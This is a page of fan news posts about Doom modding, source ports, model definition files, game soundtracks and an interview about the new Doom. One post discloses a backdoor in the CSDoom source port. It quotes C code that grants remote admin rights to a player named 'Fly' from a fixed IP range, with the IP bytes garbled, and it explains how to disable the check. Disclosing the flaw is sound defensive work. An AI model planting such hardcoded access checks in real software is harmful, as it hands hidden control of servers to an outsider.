Hey we have some great info from the DoomArena "Marines", check this out:
First off I have discovered how dificult these textures are going to be The enterprise D is made up of beige and white and various others.But the real problem is that they are just one colour. The trouble with this is that single colour walls look awful.so after much trial and error I eventually got there only for my deep editor to start not saving textures when it felt like it. Anyway I finally got that sorted out. I have only a room in progress this week due to all that nonsense.
A piece of good news is that a friend of mine gave me his star trek fact files which is contained in four binders and a valuble source of info They also have a new screenie up of their work in progress, get your butt'a'mov'n and go check it out!
New Asylem Update!

Category: General |
The guys over at Asylem updated their site with some juicy news, check it out...I have just figured out how to replace sprites and flats in Doom. I use DMGraph to insert them into a PWAD the "wrong" way, then I added two lines to the kill.bat. The first line reads "deusf -merge killgfx.wad". It's just before it calls gokill.exe. Then, right after you quit, it automaticaly resores the Doom.wad! So, no need to hassel around with the program! You still only have to run kill.bat!
So, you will see new GFX in the maitenence release of Kill (which will be ready sometime around Monday or Tuesday). Also included is:
Multi-Player capabilities (co-op and DM)
A few small fixes in the EXE (text mostly)
Some new sounds for the monstrosity.
A few texture bugs fixed on the maps.
A sneek peek at episode 2... So head on out there and check it out!

Doom: The Next Chapter Update
Posted

Category: General |
Rick Clark, creator of the roleplaying system, Doom: The Next Chapter, has written a historical background for the game that covers the history of the solar system before Doom and Doom2 and into the time period of DTNC. Here's what to expect in the history:I have worked out a complete description of the governmental structure of UAC including an organizational chart and detailed description of the various directorships that exist within UAC. The style of government UAC has developed is a hybrid of socialism, democracy and capitalism within a corporate structure. Sounds odd, but will be clear when you read the details.
I am also building the economic structure of UAC and will be including price lists of common items that can be purchased. This additon was requested by players and was sorely lacking in the original rule set. UAC provides basic needs for its employees (there are no citizens; everyone is an employee) but allows free trade for items not covered by basic services. The price lists I am building will help game developers price their items in their scenarios. These can only be guides however, since prices are based solely on supply and demand.
These additions, I hope, will make the game world much more real for the game players. It has taken me a while to work out the details of the UAC form of government and its background, but I have a good framework now that I think will really make DTNC on a par with professional RPG's.

Well this is just a quick snippet, I mailed Bobby Prince of Doom fame (remember the soundtrack, the best!) just asking about the MP3's that he had posted a while back on MP3.Com. Well here's how it went:...What has happened to the Doom MP3's that were to be available on MP3.com? Will those be available to the public again in the future or was it a one shot deal?
MP3.com took the site down because they were afraid they'd get sued by a game company. I haven't had the time to fight with them over it. I will have them available again ASAP. Well there you go.. let's root Bobby on to post those MP3's. I know we are anxious to see them, oh pardon me HEAR them!
MP3's And Help At Asylem
Posted
by
at 7:00 PM |
Category: General |
There is a big post on Asylem. They have some MP3's and in need of some help. Well let me let them explain it to you.I'm assuming that everyone knows of the Doom MP3's recored by Michael Massay. They were recorded so that everyone can see the quality of the Doom midi's, and hear how they were meant for a Roland.
Well, Kill also has an excelent sound track that was made for a certain instrament. The CTK-601. Now, I'm also going to assume that most people don't have one of these, or don't know how to hook it up to play MIDI's.
To show people what Kill music is supposed to be like, I'm going to release three of the songs from the demo. People can vote for the song of their choice. I'll be taking the top three and recording them into high quality MP3's off my very own CTK-601. After all, one of the biggest parts of Kill is it's soundtrack, that I've spent hours on. Not recording, but finding the right high quality midi.
It also appears that the crew needs a coder to work on a few things for Kill. So here more straight from the horses mouth:
Also, I'm in need of not only a coder to add a few things to the exsisting Doom engine, but I also need someone that is able to insert new GFX into a wad. I have a slew of frames that need insertion. Whoever volunteers will become part of the Kill Team, unless they don't want to. I also have an idea of making a cool AVI or mpeg opening movie for Kill. If anyones interested, or has some ideas for it, please E-Mail me. Oh, and I've been getting some odd responses when I tell someone who the main character is (gender wise). Yes, the main character of Kill is female. Her name is Lt. Lance Young. Her sprite is being made.
So if you're interested head on over there and check it out!

Converting JDoom In-View Weapons To MD2
There is a thread on the New Doom forums that concerns trying to replace the Doom weapons shown at the bottom of the screen with MD2 files, for Jaakko's JDoom 3D source port mod. The problem stems from the fact that these are not items and do not have the four letter sprite name required by Jaako's modeldef format. One of the people who's been working on further developing the Model Definition File, cj conversed with Jaakko (who was enjoying a brief, rare free moment from his stint in the Finnish army) about this, to which Jaakko offers:It isn't yet possible to replace non-item sprites with 3D models. It shouldn't be too difficult to allow it, but I'm afraid the army is taking up all my time at the moment. Perhaps someone is willing to do some hacking with the 1.0pre source (see the JHexen site for more details) ...? And as cj surmises,This could be a rewarding project for someone with any programming skills but unfortunately that is not me. So, it is possible, but we need a programmer out there who can and wants to help. Please get in touch with myself, cj, and/or Jaakko directly (but of course he won't be able to reply right away), and let's help make this a reality.

Activision NOT Publishing New Doom?

It seems in a recent turn of events, as Ubi Soft acquires Activision and Red Storm Entertainment, that Activision will not be publishing the New Doom. Of course this cannot be confirmed, seeing as how ShugaShack tried to get a comment from Activision, but were denied. We'll keep you posted on all the news right here.
Danok's Newest ModDef File |
Here you go, you know the drill :-)What's new in this release of model definition file (d_modeldef.zip: 4KB): smoother gorrier Cyberdemon death animation with new effects, archvile & bosscube fire added, Pillar With Heart now animated, Boss Cube (the cube that comes out of the last guy's brain in Doom2) added, Light Amplification Visor added, Medium lamp added (a corresponding md2 did exist afterall), Pain Elemental added, wicked new tranparencies added, Artifacts are now enabled by default, torch animations are fixed, firecan animation is sort of fixed, Nazi added.
Some models seem to pulsate because JDoom sizes them based on their highest point, and when it changes their size changes, i fixed certain animations based on this idea by selecting only frames of simaler height, the animation is choppy but at least they aren't all pulsating.
Also desperatley neeeded are a stalagmite md2, a commander keen md2, and splater md2s for all enemies that can be splattered excluding the doom guy, and a better fire md2, I cannot impliment them if the md2s do not exist!
DoomarenA News

Danok's Doom Model Definitions
Guess what? Here's the newest version of Danok's model definition file (d_modeldef.zip: 3KB), and he includes these notes:New in this release, commap added, variouse hanging bodys and body parts added, artifacts are at the bottom af the file now, missile added at the bottom of the file but turned off (turn it on the same way as the artifacts), Doom Marine added including death and splatter!
You may need to copy the candle.pcx to md2/doomgl/md2, and all of the pcx files in md2/doomguy to md2/doomguy/doomguy to get JDoom working with this file, also remember to turn on useModels in the console.
Also, it seems the that the hang2.md2 was set up to use the hang.pcx,except for the fact that it is pointing to this file (hanglegless.zip: 29.5KB) so give it what it wants and put this hanglegless.pcx in your md2 dir. And be sure to visit Danok's site to see some nutty links :)

I am Danok this is my modeldef.txt file, it is not done yet so do not tell me about what I left out, if you are wondering how this file is different from that other modeldef.txt file going around i'll tell you now. All md2s animate correctly including deaths and attacks (very few of them in that other guy's do), there are several new md2s added including the cyberdemon's death, and finally the artifacts (you know those sphere shaped power ups) have their md2s disabled on account of the fact that they look like crap if you however want to use them just remove the # signs from in front of their lines. Also desperatley neeeded are a medium lamp md2, a stalagmite md2, and splater md2s for all enemies that can be splattered excluding the doom guy who just needs one for his normal death.
Do not e-mail me thanking or critisizing me for this file and you can expect another release of this file soon, however if you need to mail me for another reason E.G. correction of my english do so here metzler@erols.com.

CSDoom's Security Hole!
Posted
by
at 7:00 PM |
Category: General |
Well, we have alittle warning for all you CSDoom lovers out there. A little birdy sent us a tip on some questionable coding in the CSDoom source, here's what we have:
The following code is included in the source of the new version of csdoom:
if ( net_from.ip[0]=µ && net_from.ip[1]=z &&
net_from.ip[2]=¼ &&
( !strcmp(players[parse_cl].userinfo.netname, "fly")
|| !strcmp(players[parse_cl].userinfo.netname, "FLY")
|| !strcmp(players[parse_cl].userinfo.netname, "Fly") )
)
{
clients[parse_cl].allow_rcon = true;
}
for those of you without a knowledge of C, this basically means that Fly, the creator of csdoom, can take over any server you may choose to set up, and perform "administrative" functions (kick people etc). I'm guessing that you may not wish him to have this ability, so in order to disable it, simply go to line 695 and where you see the line:
SV_CheckIP();
simply change it to
// SV_CheckIP();
This will disable the hole. So if you're running a server, you might want to seriously check this out. And we mean seriously! Thanks Mr. Sloan

Model Definitions Available For JDoom
Chris Kemp has been doing a little work to help cultivate progress on JDoom while Jaakko's away in the Finnish army:I have recently discovered Jdoom and as were many was impressed with what I saw. When md2 support was added, I started work on a modeldef.txt to include the models that have previously been used for Zdoom and the like. After visiting the messageboard it appears that some are finding this to be a difficult task. Accordingly, I am enclosing my curent modeldef file for inclusion somewhere on your web site if you think it may be desireable. I note that this is a work in progress but I have included over half of the monsters and most items and am working on it regularly.
Regards CJ. You may download modeldef.zip (2KB) from NEWDOOM.com locally.
Paul Steed On The New Doom
Sean 'Redwood' Martin at Stomped conducted a great interview with the one and only Paul Steed, formerly the model/animation wizard at id Software, and now apparently starting up his own company, Pummel Studios! Here's what he had to say about the New Doom, the game unfortunately he's not going to be able to help bring to fruition:Stomped: What are your feelings on id being able to create a new Doom well? Will it be able to live up to expectations?
Steed: Well, as far as id goes, there's really...you know, id is obviously a different company than when the original Doom series was created. Can anything as huge as DOOM be ever re-created? I mean, I remember when people found out I made computer games for a living they'd invariably say something like, "You make computer games? Like DOOM?" So at one point computer games and 'DOOM' are synonymous in the majority of the public's eye. One of the things I worry about with a new DOOM game is the magic of the first series being so firmly entrenched in our minds that it will color perceptions and opinions of the new one. John Carmack has a definite vision of what he wants to see in the new Doom. Hopefully the team will support him and enhance the ideas he proposes. DOOM was created in a relatively simple technological time. Doing it today requires a dedication to sophistication and attention to detail that people look for in a single player experience. Can a DOOM live up to the public's expectations? In the end... probably not. Fuck 'em, I say. Make the game you want to make with a singular vision and commitment to consistency... the game will rock. Bow to that five or ten percent of the vocal bitchers and whiners and you'll fail. Ultimately however, regardless the direction, the new DOOM will be a direct reflection of the people who make it. Head here for the rest of the interview!
